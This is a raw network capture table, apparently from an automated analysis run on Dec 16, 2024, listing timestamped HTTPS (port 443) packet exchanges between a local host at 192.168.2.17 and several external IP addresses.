Dec 16, 2024 18:46:16.185101032 CET	443	49922	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:16.185165882 CET	49922	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:16.185867071 CET	49926	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:16.185946941 CET	443	49926	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:16.186033010 CET	49926	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:16.186342001 CET	49926	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:16.186376095 CET	443	49926	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:16.475836039 CET	49927	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:16.475864887 CET	443	49927	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:16.475941896 CET	49927	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:16.476175070 CET	49927	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:16.476183891 CET	443	49927	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:16.817451000 CET	443	49925	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:16.817783117 CET	49925	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:46:16.817806959 CET	443	49925	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:16.818295002 CET	443	49925	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:16.818645954 CET	49925	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:46:16.818732977 CET	443	49925	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:16.818788052 CET	49925	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:46:16.863337994 CET	443	49925	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:17.265048981 CET	443	49925	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:17.265151024 CET	443	49925	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:17.265477896 CET	49925	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:46:17.265733957 CET	49925	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:46:17.265750885 CET	443	49925	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:17.265795946 CET	49925	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:46:17.265873909 CET	49925	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:46:17.267623901 CET	49929	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:46:17.267659903 CET	443	49929	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:17.267822981 CET	49929	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:46:17.268079042 CET	49929	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:46:17.268096924 CET	443	49929	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:17.904963970 CET	443	49926	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:17.905320883 CET	49926	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:17.905390978 CET	443	49926	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:17.905746937 CET	443	49926	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:17.905827045 CET	49926	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:17.906358004 CET	443	49926	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:17.906445026 CET	49926	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:17.906611919 CET	49926	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:17.906678915 CET	443	49926	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:17.906810999 CET	49926	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:17.906827927 CET	443	49926	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:17.958410025 CET	49926	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:18.037621975 CET	443	49856	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:18.037689924 CET	443	49856	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:18.037750006 CET	49856	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:18.039254904 CET	443	49857	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:18.039419889 CET	443	49857	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:18.039482117 CET	49857	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:18.044842958 CET	443	49858	104.17.172.91	192.168.2.17
Dec 16, 2024 18:46:18.044924974 CET	443	49858	104.17.172.91	192.168.2.17
Dec 16, 2024 18:46:18.044981956 CET	49858	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:46:18.062988043 CET	443	49859	104.18.142.119	192.168.2.17
Dec 16, 2024 18:46:18.063045979 CET	443	49859	104.18.142.119	192.168.2.17
Dec 16, 2024 18:46:18.063107967 CET	49859	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:46:18.169893026 CET	443	49927	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:18.170213938 CET	49927	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:18.170236111 CET	443	49927	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:18.170756102 CET	443	49927	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:18.171240091 CET	49927	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:18.171334982 CET	443	49927	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:18.171466112 CET	49927	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:18.215373039 CET	443	49927	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:18.292218924 CET	49859	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:46:18.292262077 CET	49856	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:18.292288065 CET	49857	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:18.292292118 CET	443	49859	104.18.142.119	192.168.2.17
Dec 16, 2024 18:46:18.292294979 CET	443	49856	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:18.292318106 CET	49858	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:46:18.292323112 CET	443	49857	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:18.292330027 CET	443	49858	104.17.172.91	192.168.2.17
Dec 16, 2024 18:46:18.480794907 CET	443	49929	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:18.481201887 CET	49929	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:46:18.481259108 CET	443	49929	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:18.481798887 CET	443	49929	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:18.482244968 CET	49929	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:46:18.482352018 CET	443	49929	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:18.482620001 CET	49929	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:46:18.523334980 CET	443	49929	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:18.705521107 CET	443	49926	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:18.705554962 CET	443	49926	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:18.705612898 CET	49926	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:18.705663919 CET	443	49926	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:18.706901073 CET	49930	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:18.706944942 CET	49926	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:18.706990957 CET	443	49930	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:18.707031965 CET	443	49926	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:18.707098961 CET	49930	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:18.707127094 CET	49926	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:18.707448959 CET	49930	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:18.707485914 CET	443	49930	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:18.941684961 CET	443	49929	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:18.941844940 CET	443	49929	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:18.941934109 CET	443	49929	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:18.941967010 CET	49929	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:46:18.941998005 CET	443	49929	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:18.942138910 CET	49929	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:46:18.942146063 CET	443	49929	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:18.949680090 CET	443	49929	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:18.949801922 CET	49929	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:46:18.949809074 CET	443	49929	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:18.958399057 CET	443	49929	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:18.962270021 CET	49929	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:46:18.962394953 CET	49929	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:46:18.962407112 CET	443	49929	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:18.971561909 CET	443	49927	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:18.971679926 CET	443	49927	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:18.974467993 CET	49927	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:18.974482059 CET	443	49927	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:18.974694014 CET	49927	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:18.974776030 CET	443	49927	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:18.975193024 CET	443	49927	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:18.975280046 CET	49927	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:18.975410938 CET	49927	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:19.829328060 CET	49931	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:19.829377890 CET	443	49931	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:19.829761028 CET	49931	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:19.829761982 CET	49931	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:19.829798937 CET	443	49931	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:20.407370090 CET	443	49930	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:20.407632113 CET	49930	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:20.407699108 CET	443	49930	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:20.408222914 CET	443	49930	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:20.408309937 CET	49930	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:20.409240007 CET	443	49930	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:20.409303904 CET	49930	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:20.409545898 CET	49930	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:20.409611940 CET	49930	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:20.409624100 CET	443	49930	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:20.409643888 CET	443	49930	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:20.456440926 CET	49930	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:20.456484079 CET	443	49930	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:20.503411055 CET	49930	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:21.051878929 CET	443	49931	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:21.052208900 CET	49931	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:21.052242994 CET	443	49931	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:21.053668022 CET	443	49931	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:21.053745031 CET	49931	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:21.054020882 CET	49931	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:21.054020882 CET	49931	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:21.054069042 CET	49931	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:21.054102898 CET	443	49931	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:21.054160118 CET	49931	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:21.054351091 CET	49932	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:21.054444075 CET	443	49932	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:21.054541111 CET	49932	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:21.054776907 CET	49932	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:21.054811954 CET	443	49932	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:21.208349943 CET	443	49930	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:21.208475113 CET	443	49930	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:21.208534002 CET	49930	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:21.208554029 CET	443	49930	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:21.209393978 CET	49930	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:21.209494114 CET	443	49930	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:21.209562063 CET	49930	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:21.210036039 CET	49933	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:21.210067987 CET	443	49933	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:21.210136890 CET	49933	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:21.210341930 CET	49933	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:21.210355043 CET	443	49933	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:22.281826973 CET	443	49932	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:22.282169104 CET	49932	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:22.282202005 CET	443	49932	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:22.283853054 CET	443	49932	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:22.284012079 CET	49932	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:22.284924030 CET	49932	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:22.285043955 CET	443	49932	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:22.285202026 CET	49932	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:22.327332973 CET	443	49932	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:22.333563089 CET	49932	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:22.333627939 CET	443	49932	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:22.381433010 CET	49932	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:22.915179014 CET	443	49933	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:22.915559053 CET	49933	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:22.915575027 CET	443	49933	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:22.916809082 CET	443	49933	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:22.916882992 CET	49933	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:22.918143988 CET	443	49933	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:22.918206930 CET	49933	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:22.918411016 CET	49933	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:22.918486118 CET	443	49933	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:22.918589115 CET	49933	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:22.918595076 CET	443	49933	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:22.967417002 CET	49933	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:23.525110960 CET	443	49932	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:23.525363922 CET	443	49932	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:23.525432110 CET	49932	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:23.526379108 CET	49932	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:23.526402950 CET	443	49932	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:23.676837921 CET	49937	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:23.676879883 CET	443	49937	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:23.676964998 CET	49937	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:23.677310944 CET	49937	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:23.677328110 CET	443	49937	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:23.764909983 CET	443	49933	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:23.764946938 CET	443	49933	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:23.764996052 CET	49933	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:23.765007973 CET	443	49933	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:23.766289949 CET	49938	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:23.766314983 CET	443	49938	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:23.766383886 CET	49938	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:23.766630888 CET	49933	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:23.766679049 CET	443	49933	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:23.766740084 CET	49933	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:23.767301083 CET	49938	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:23.767352104 CET	443	49938	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:24.891299009 CET	443	49937	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:24.891722918 CET	49937	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:24.891783953 CET	443	49937	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:24.892678022 CET	443	49937	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:24.892748117 CET	49937	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:24.893117905 CET	49937	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:24.893168926 CET	49937	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:24.893187046 CET	443	49937	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:24.893229961 CET	49937	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:24.893255949 CET	49937	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:24.893639088 CET	49939	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:24.893706083 CET	443	49939	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:24.893794060 CET	49939	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:24.894032001 CET	49939	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:24.894062042 CET	443	49939	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:25.466355085 CET	443	49938	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:25.466631889 CET	49938	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:25.466669083 CET	443	49938	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:25.467534065 CET	443	49938	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:25.467605114 CET	49938	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:25.468533993 CET	443	49938	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:25.468596935 CET	49938	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:25.468766928 CET	49938	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:25.468853951 CET	443	49938	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:25.468904972 CET	49938	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:25.511357069 CET	443	49938	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:25.523451090 CET	49938	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:25.523468018 CET	443	49938	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:25.571465015 CET	49938	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:25.642744064 CET	443	49908	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:25.642802000 CET	443	49908	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:25.642884970 CET	49908	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:26.114578962 CET	443	49939	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:26.114876032 CET	49939	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:26.114942074 CET	443	49939	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:26.116410017 CET	443	49939	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:26.116499901 CET	49939	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:26.116966963 CET	49939	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:26.117075920 CET	443	49939	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:26.117166996 CET	49939	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:26.117186069 CET	443	49939	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:26.168462038 CET	49939	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:26.239392996 CET	49908	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:26.239450932 CET	443	49908	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:26.266437054 CET	443	49938	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:26.266561985 CET	443	49938	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:26.266695023 CET	49938	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:26.266731977 CET	443	49938	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:26.267097950 CET	49938	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:26.267184973 CET	443	49938	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:26.267262936 CET	49938	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:26.269335032 CET	49942	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:26.269365072 CET	443	49942	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:26.269510984 CET	49942	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:26.270037889 CET	49942	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:26.270060062 CET	443	49942	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:26.915693998 CET	49943	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:46:26.915842056 CET	443	49943	142.250.181.68	192.168.2.17
Dec 16, 2024 18:46:26.916127920 CET	49943	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:46:26.916368961 CET	49943	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:46:26.916405916 CET	443	49943	142.250.181.68	192.168.2.17
Dec 16, 2024 18:46:27.609183073 CET	443	49939	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:27.609487057 CET	443	49939	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:27.609972000 CET	49939	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:27.667805910 CET	49939	443	192.168.2.17	172.67.222.46
Dec 16, 2024 18:46:27.667866945 CET	443	49939	172.67.222.46	192.168.2.17
Dec 16, 2024 18:46:27.967660904 CET	443	49942	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:27.967855930 CET	49942	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:27.967875004 CET	443	49942	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:27.968386889 CET	443	49942	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:27.968456030 CET	49942	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:27.969383001 CET	443	49942	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:27.969439983 CET	49942	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:27.969582081 CET	49942	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:27.969661951 CET	443	49942	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:27.969690084 CET	49942	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:28.015336990 CET	443	49942	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:28.021541119 CET	49942	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:28.021562099 CET	443	49942	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:28.068463087 CET	49942	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:28.777848959 CET	443	49942	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:28.777988911 CET	443	49942	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:28.778045893 CET	49942	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:28.778067112 CET	443	49942	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:28.778927088 CET	49942	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:28.779010057 CET	443	49942	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:28.779082060 CET	49942	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:29.055881023 CET	443	49943	142.250.181.68	192.168.2.17
Dec 16, 2024 18:46:29.056134939 CET	49943	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:46:29.056159973 CET	443	49943	142.250.181.68	192.168.2.17
Dec 16, 2024 18:46:29.056957006 CET	443	49943	142.250.181.68	192.168.2.17
Dec 16, 2024 18:46:29.057279110 CET	49943	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:46:29.057365894 CET	443	49943	142.250.181.68	192.168.2.17
Dec 16, 2024 18:46:29.103499889 CET	49943	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:46:34.688298941 CET	49970	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:34.688400984 CET	443	49970	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:34.688489914 CET	49970	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:34.688899040 CET	49970	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:34.688930035 CET	443	49970	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:36.387099028 CET	443	49970	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:36.387341976 CET	49970	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:36.387375116 CET	443	49970	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:36.387717009 CET	443	49970	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:36.387811899 CET	49970	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:36.388379097 CET	443	49970	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:36.388463020 CET	49970	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:36.388592958 CET	49970	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:36.388663054 CET	443	49970	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:36.388732910 CET	49970	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:36.388748884 CET	443	49970	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:36.442532063 CET	49970	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:37.187450886 CET	443	49970	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:37.187489986 CET	443	49970	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:37.187556028 CET	49970	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:37.187581062 CET	443	49970	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:37.188285112 CET	49970	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:37.188329935 CET	443	49970	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:37.188407898 CET	49970	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:38.747279882 CET	443	49943	142.250.181.68	192.168.2.17
Dec 16, 2024 18:46:38.747359991 CET	443	49943	142.250.181.68	192.168.2.17
Dec 16, 2024 18:46:38.747432947 CET	49943	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:46:38.815432072 CET	49943	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:46:38.815458059 CET	443	49943	142.250.181.68	192.168.2.17
Dec 16, 2024 18:46:39.901644945 CET	49988	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:39.901734114 CET	443	49988	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:39.901815891 CET	49988	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:39.902440071 CET	49988	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:39.902475119 CET	443	49988	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:41.333466053 CET	49995	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:41.333511114 CET	443	49995	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:41.333575964 CET	49995	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:41.333797932 CET	49995	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:41.333817005 CET	443	49995	172.217.19.206	192.168.2.17
